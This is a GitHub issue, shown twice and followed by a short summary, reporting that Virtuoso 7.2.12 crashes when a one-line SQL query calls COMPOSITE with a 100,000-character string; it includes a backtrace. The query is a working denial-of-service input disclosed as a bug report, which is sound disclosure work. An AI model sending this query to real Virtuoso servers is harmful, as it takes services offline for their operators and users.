Virtuoso 7.2.12 crashes at  `_longjmp` when calling the `COMPOSITE` function.

Environment: Ubuntu 20.04, docker image `openlink/virtuoso-opensource-7:7.2.12`.

PoC:
```sql
SELECT COMPOSITE(REPEAT('1', 100000), 1);
```

Backtrace:
```
#0 0x7f67d50d3ca5 (_longjmp+0x15)
#1 0x7f67d53eaf9f (longjmp+0xf)
#2 0xe0577c (service_write+0x4bc)
#3 0xe01eee (print_int+0x19e)
#4 0x67f628 (bif_composite+0x158)
#5 0x755674 (ins_call_bif+0xc4)
#6 0x75d402 (code_vec_run_v+0x25f2)
#7 0x7b980f (qn_input+0x38f)
#8 0x7b9cb6 (qn_send_output+0x236)
#9 0x82c49d (set_ctr_vec_input+0x99d)
#10 0x7b984e (qn_input+0x3ce)
#11 0x7cb03b (qr_exec+0x11db)
#12 0x7d89d6 (sf_sql_execute+0x11a6)
#13 0x7d94de (sf_sql_execute_w+0x17e)
#14 0x7e219d (sf_sql_execute_wrapper+0x3d)
#15 0xe2aa3c (future_wrapper+0x3fc)
#16 0xe3233e (_thread_boot+0x11e)
#17 0x7f67d53e0609 (start_thread+0xd9)
#18 0x7f67d51b0353 (clone+0x43)
```
Virtuoso 7.2.12 crashes with the `COMPOSITE` function
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Virtuoso 7.2.12 crashes with the `COMPOSITE` function
Issue date:

--- start body ---
Virtuoso 7.2.12 crashes at  `_longjmp` when calling the `COMPOSITE` function.

Environment: Ubuntu 20.04, docker image `openlink/virtuoso-opensource-7:7.2.12`.

PoC:
```sql
SELECT COMPOSITE(REPEAT('1', 100000), 1);
```

Backtrace:
```
#0 0x7f67d50d3ca5 (_longjmp+0x15)
#1 0x7f67d53eaf9f (longjmp+0xf)
#2 0xe0577c (service_write+0x4bc)
#3 0xe01eee (print_int+0x19e)
#4 0x67f628 (bif_composite+0x158)
#5 0x755674 (ins_call_bif+0xc4)
#6 0x75d402 (code_vec_run_v+0x25f2)
#7 0x7b980f (qn_input+0x38f)
#8 0x7b9cb6 (qn_send_output+0x236)
#9 0x82c49d (set_ctr_vec_input+0x99d)
#10 0x7b984e (qn_input+0x3ce)
#11 0x7cb03b (qr_exec+0x11db)
#12 0x7d89d6 (sf_sql_execute+0x11a6)
#13 0x7d94de (sf_sql_execute_w+0x17e)
#14 0x7e219d (sf_sql_execute_wrapper+0x3d)
#15 0xe2aa3c (future_wrapper+0x3fc)
#16 0xe3233e (_thread_boot+0x11e)
#17 0x7f67d53e0609 (start_thread+0xd9)
#18 0x7f67d51b0353 (clone+0x43)
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 occurs when executing the COMPOSITE function with a large input, leading to a Denial of Service (DoS) condition. The crash is triggered by a stack overflow due to excessive recursion or memory usage, as indicated by the backtrace involving _longjmp and service_write functions.